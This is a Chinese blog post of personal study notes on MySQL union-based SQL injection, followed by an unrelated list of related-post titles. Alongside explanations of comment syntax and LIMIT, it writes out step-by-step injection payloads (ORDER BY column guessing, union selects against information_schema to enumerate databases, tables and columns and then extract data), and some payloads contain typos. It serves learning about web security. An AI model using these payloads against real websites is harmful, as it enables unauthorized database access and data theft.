SQL注入之联合查询注入
来源:互联网 发布:修改虚拟网卡mac地址 编辑:程序博客网 时间:2024/06/08 01:09
关于这方面网上的资料已经很多了,其中该博客(http://www.jianshu.com/p/399881e79b1f)已经写得很详细了,我就不再赘述了。只是把我测试过程中踩过的坑、要点和一些疑问记录下来。
知识点
union联合查询
order by
information_schema
limit
select * from table limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录
n是指从第m+1条开始,取n条。
select * from tablename limit 2,4
即取出第3条至第6条,4条记录
## 注释符##
mysql的注释有4 种:
‘#’:# 开头到行尾的都为注释,只能注释一行。
‘– ‘(2个减号 一个空格):-开头到行尾都为注释 , 只能注释一行。
‘–+’:在url里我们可以写成这样
‘/xxx/’:可以注释多行,但是一定要闭合,不然出错。
‘/!xxx/’:可以跨行注释,但是一定要闭合,不然出错。
注释符的作用
关于注释,没有查到太多的资料,但是在真实的渗透过程中,注释非常重要,往往会影响到我们的语句是否成功。
注释符的重要作用是为了符合后面的单引号 或双引号 或其它符合,如果不闭合的话 sql就无法正常运行,包括流程中提到的攻击语句,一般也是需要加注释符的。我这里没有写 是因为你需要根据实际情况从以上四种注释符中选择一种,常见的是加“#”,或者是“-- ”。
案例
下面是我自己遇到的几个案例。
1、#不生效
<?php echo $_GET['key']; ?>
当url为http://test.com/c.php?key=999时,正常输出:999
当url为http://test.com/c.php?key=9#888时,只能输出:9
所以我在做练习的时候,发现#不生效。
流程
1、猜解列数,得到显示位
1’ order by 2 –
2、得到数据库
union select 1,2,schema_name from information_schema.schemata limit 1,1
union select 1,2,group_concat(table_name) from information_schema.schemata
下面两条命令也得到数据库,但是必须去重 不然里面有重复的信息。
union select 1,2,distinct table_schema from information_schema.talbes limit 1,1
union select 1,2,group_concat(distinct table_schema) from information_schema.talbes limit 1,1
3、得到表名
union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1
union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码
不明白为什么要转换成16进制编码?
4、得到列名
union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1
union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码
5、猜解数据
union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表
参考
http://www.jianshu.com/p/399881e79b1f
https://www.waitalone.cn/mysql-injection-summary.html
http://blog.csdn.net/moqiang02/article/details/39000667
https://segmentfault.com/a/1190000007926959
- SQL注入之联合查询注入
- SQL注入之联合注入
- SQL注入原理--手工联合查询注入技术
- 注入攻击之sql注入
- SQL注入之堆叠注入
- SQL注入之cookie注入
- SQL注入之cookie注入
- SQL注入之报错型注入
- 联合注入
- 防止SQL注入查询
- SQL 注入之ACCESS
- ibatis之sql注入
- SQL注入之我见
- SQL注入之注释
- PHP之SQL注入
- SQL注入之绕过
- Mysql注入之一 联合注入
- 关于sql注入之cookie注入
- [论文阅读] Low-shot Visual Recognition by Shrinking and Hallucinating Features
- 欢迎使用CSDN-markdown编辑器
- 如何1天之内把一个医疗关键词快速排名到百度首页
- 单源最短路径——Dijkstra算法
- 数学笔记15——微积分第二基本定理
- SQL注入之联合查询注入
- mysql innobackupex 备份问题
- poj3176动归
- JMM概述
- python——二叉树的层次遍历
- input的onChange、router、table文本超出隐藏(阶段记录)
- 一个人的旅行
- 数串
- windows和Linux下安装imagick扩展(linux下支持pdf转image)